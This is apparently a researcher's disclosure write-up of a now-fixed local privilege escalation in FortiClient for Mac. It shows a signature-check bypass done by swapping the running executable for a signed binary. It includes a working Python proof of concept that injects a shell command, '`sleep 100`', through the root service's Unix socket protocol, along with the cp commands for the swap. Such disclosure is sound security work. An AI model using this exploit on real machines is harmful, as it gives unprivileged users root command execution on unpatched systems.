This post documents a local privilege escalation vulnerability we found in FortiClient for Mac last year. It's a short post, as it's been some time since I reported the bug, and my memory of the details is somewhat limited.
FortiClient for Mac comprises different security features, like Endpoint Protection and a VPN client. Like many security products, FortiClient has a GUI application running in the user’s context, to enable the user to modify certain settings, initiate scans and and request VPN establishment. To allow this, a channel is needed to the primary process running as root. In FortiClient for Mac, this channel uses a custom protocol, and the client attaches to the Unix domain socket located at
/var/run/fctservctl.sock to communicate with the root process. This is the channel I decided to target when I started looking for a bug in the application.
The first obstacle I came across was a check performed by the root process every time a new connection occurs on the communication socket. The check consists of the following steps:
First, all processes with a file descriptor on the socket is established by enumerating all processes and going through their file descriptors to see if they refer to the path
For each process with a file descriptor on the socket, the path to the process executable is established, and the executable is verified as signed by Fortinet.
If verification fails, the process is killed.
To overcome this obstacle, the attacker would need to have the exploit code running in a process with a path pointing to a signed executable. I have previously used code injection into a process running a signed executable to overcome a similar check on Windows (more on this in a later post), but the existing techniques for this on MacOS is troubled by some of the newer security features.
Instead of code injection, I opted to replace the exploit executable with a signed executable after the process has been started, but before the connection is made. In this way, our process will be running the exploit code, but the signature check will be performed on the executable we replace it with. On MacOS, nothing prevents you from unlinking a running executable. After unlinking the existing file, it can be replaced with a signed FortiClient image.
Bypassing the signature check allows us to communicate with the root process, but we still need to implement the protocol used on the channel. As the binaries comprising the application has not been stripped of symbols, the names of the functions implementing the protocol yields some information that helps us understand it better. The protocol allows a few basic data types like strings and integers to be serialized, but adds some complexity, as messages can contain submessages. With a mix of a few captured packets and the disassembly of the code, we can create a valid packet, as seen in the python code below.
In my experience, it is often easier to locate a bug in code otherwise protected by a security check, as such code is often considered safe from adversaries. In the server executable
fctservctl, most of the code for handling requests from clients are located in a single function. Skimming through the decompiled function, the following code draws attention, as it has the trademarks of a standard command injection bug: A string supplied by the client is passed directly to a
snprintf call used to build a command.
Sure enough, the created string is subsequently passed to a call to
Working our way back through the function, we can piece together the protocol message needed to reach the vulnerable code. Combined with the signature check bypass, the bug allows an unprivileged user to run arbitrary commands as root. The vulnerability has been fixed in version 6.2.2
cp /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python ./fctservctl
import struct import socket import sys def gmsg_create_int(name, value): buf = name + "\x00" + struct.pack('<I',2) + struct.pack('b',(len(value)+1)) + value + "\x00" return buf def gmsg_create_msg(name, value, first, second): buf = name + "\x00" + struct.pack('<I',3) + struct.pack('b',(len(value)+21)) buf += struct.pack('<I',len(value)+21) buf += struct.pack('<I',first) buf += struct.pack('<I',second) buf += struct.pack('<I',0) buf += "\xAB\x74\xDE\x45" buf += value + "\x00" return buf def gmsg_create_str(name, value): buf = name + "\x00"+ struct.pack('<I',1) + struct.pack('b',(len(value)+1)) + value + "\x00" return buf def gmsg_create(data, first, second): buf = struct.pack('<I',len(data)+21) buf += struct.pack('<I',first) buf += struct.pack('<I',second) buf += struct.pack('<I',0) buf += "\xAB\x74\xDE\x45" buf += data buf += "\x00" return buf msg = gmsg_create_str("Language",'`sleep 100`') msgmsg = gmsg_create_msg("ServMsg",msg,1,9) data = gmsg_create_int("ServID","5") + msgmsg buf = gmsg_create(data,1,9) sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server_address = '/var/run/fctservctl.sock' raw_input("Press enter to continue...") print >>sys.stderr, 'connecting to %s' % server_address try: sock.connect(server_address) sock.sendall(buf) recvbuf = sock.recv(1024) except socket.error, msg: print >>sys.stderr, msg sys.exit(1)
cp /Library/Application\ Support/Fortinet/FortiClient/bin/fctservctl ./fctservctl
ps aux | grep sleep